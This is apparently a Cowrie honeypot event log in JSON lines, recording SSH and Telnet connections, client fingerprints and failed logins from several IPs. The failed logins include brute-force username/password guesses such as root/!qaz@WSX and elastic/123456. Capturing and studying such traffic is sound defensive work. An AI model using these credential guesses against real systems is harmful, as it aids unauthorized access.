{"eventid":"cowrie.login.failed","username":"test_user","password":"12345678","message":"login attempt [test_user/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:51:13.536664Z","src_ip":"89.144.211.139","session":"2722161e35ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:51:14.670620Z","src_ip":"89.144.211.139","session":"2722161e35ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":41434,"dst_ip":"159.203.135.109","dst_port":22,"session":"8eb97f9a9fb0","protocol":"ssh","message":"New connection: 172.237.20.62:41434 (159.203.135.109:22) [session: 8eb97f9a9fb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:51:17.571126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:51:17.575615Z","src_ip":"172.237.20.62","session":"8eb97f9a9fb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:51:17.735574Z","src_ip":"172.237.20.62","session":"8eb97f9a9fb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"123456","message":"login attempt [elastic/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:51:18.230662Z","src_ip":"172.237.20.62","session":"8eb97f9a9fb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:51:19.391513Z","src_ip":"172.237.20.62","session":"8eb97f9a9fb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":38194,"dst_ip":"159.203.135.109","dst_port":22,"session":"17265cb60060","protocol":"ssh","message":"New connection: 172.237.20.62:38194 (159.203.135.109:22) [session: 17265cb60060]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:51:28.512315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:51:28.517079Z","src_ip":"172.237.20.62","session":"17265cb60060","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:51:28.675943Z","src_ip":"172.237.20.62","session":"17265cb60060","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gabriel","password":"gabriel","message":"login attempt [gabriel/gabriel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:51:29.153006Z","src_ip":"172.237.20.62","session":"17265cb60060","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:51:30.316899Z","src_ip":"172.237.20.62","session":"17265cb60060","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":59164,"dst_ip":"159.203.135.109","dst_port":22,"session":"1aad2a20c3d5","protocol":"ssh","message":"New connection: 172.237.20.62:59164 (159.203.135.109:22) [session: 1aad2a20c3d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:51:39.269768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:51:39.275206Z","src_ip":"172.237.20.62","session":"1aad2a20c3d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:51:39.438988Z","src_ip":"172.237.20.62","session":"1aad2a20c3d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"myuser","message":"login attempt [myuser/myuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:51:39.929210Z","src_ip":"172.237.20.62","session":"1aad2a20c3d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:51:41.101907Z","src_ip":"172.237.20.62","session":"1aad2a20c3d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":43300,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a84a7227ccb","protocol":"ssh","message":"New connection: 172.237.20.62:43300 (159.203.135.109:22) [session: 6a84a7227ccb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:51:50.303129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:51:50.307643Z","src_ip":"172.237.20.62","session":"6a84a7227ccb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:51:50.469992Z","src_ip":"172.237.20.62","session":"6a84a7227ccb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"packer","password":"packer","message":"login attempt [packer/packer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:51:50.960484Z","src_ip":"172.237.20.62","session":"6a84a7227ccb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:51:52.126009Z","src_ip":"172.237.20.62","session":"6a84a7227ccb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.45","src_port":18148,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4e976ec036e","protocol":"ssh","message":"New connection: 31.57.216.45:18148 (159.203.135.109:22) [session: b4e976ec036e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:51:59.175115Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:51:59.180344Z","src_ip":"31.57.216.45","session":"b4e976ec036e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.45","src_port":18150,"dst_ip":"159.203.135.109","dst_port":22,"session":"08ecceb39774","protocol":"ssh","message":"New connection: 31.57.216.45:18150 (159.203.135.109:22) [session: 08ecceb39774]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:51:59.287195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:51:59.294558Z","src_ip":"31.57.216.45","session":"08ecceb39774","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:51:59.397864Z","src_ip":"31.57.216.45","session":"08ecceb39774","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.57.63","src_port":52702,"dst_ip":"159.203.135.109","dst_port":23,"session":"65b9fd8d4b95","protocol":"telnet","message":"New connection: 199.103.57.63:52702 (159.203.135.109:23) [session: 65b9fd8d4b95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:51:59.717887Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"paintball1","message":"login attempt [root/paintball1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:51:59.745493Z","src_ip":"31.57.216.45","session":"08ecceb39774","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:00.851119Z","src_ip":"31.57.216.45","session":"08ecceb39774","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":34492,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e6743514eab","protocol":"ssh","message":"New connection: 172.237.20.62:34492 (159.203.135.109:22) [session: 4e6743514eab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:01.154268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:01.158011Z","src_ip":"172.237.20.62","session":"4e6743514eab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:01.320302Z","src_ip":"172.237.20.62","session":"4e6743514eab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!qaz@WSX","message":"login attempt [root/!qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:01.813894Z","src_ip":"172.237.20.62","session":"4e6743514eab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:02.980652Z","src_ip":"172.237.20.62","session":"4e6743514eab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":56144,"dst_ip":"159.203.135.109","dst_port":22,"session":"60de80be2c20","protocol":"ssh","message":"New connection: 172.237.20.62:56144 (159.203.135.109:22) [session: 60de80be2c20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:12.184833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:12.189686Z","src_ip":"172.237.20.62","session":"60de80be2c20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:12.349333Z","src_ip":"172.237.20.62","session":"60de80be2c20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0","message":"login attempt [root/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:12.827113Z","src_ip":"172.237.20.62","session":"60de80be2c20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:13.988592Z","src_ip":"172.237.20.62","session":"60de80be2c20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.27.76.181","src_port":37400,"dst_ip":"10.17.0.5","dst_port":23,"session":"c945789a127a","protocol":"telnet","message":"New connection: 198.27.76.181:37400 (10.17.0.5:23) [session: c945789a127a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:14.100343Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.144.211.139","src_port":57583,"dst_ip":"159.203.135.109","dst_port":22,"session":"8905389254bb","protocol":"ssh","message":"New connection: 89.144.211.139:57583 (159.203.135.109:22) [session: 8905389254bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:18.042288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:18.047822Z","src_ip":"89.144.211.139","session":"8905389254bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:52:18.181362Z","src_ip":"89.144.211.139","session":"8905389254bb","protocol":"ssh"}
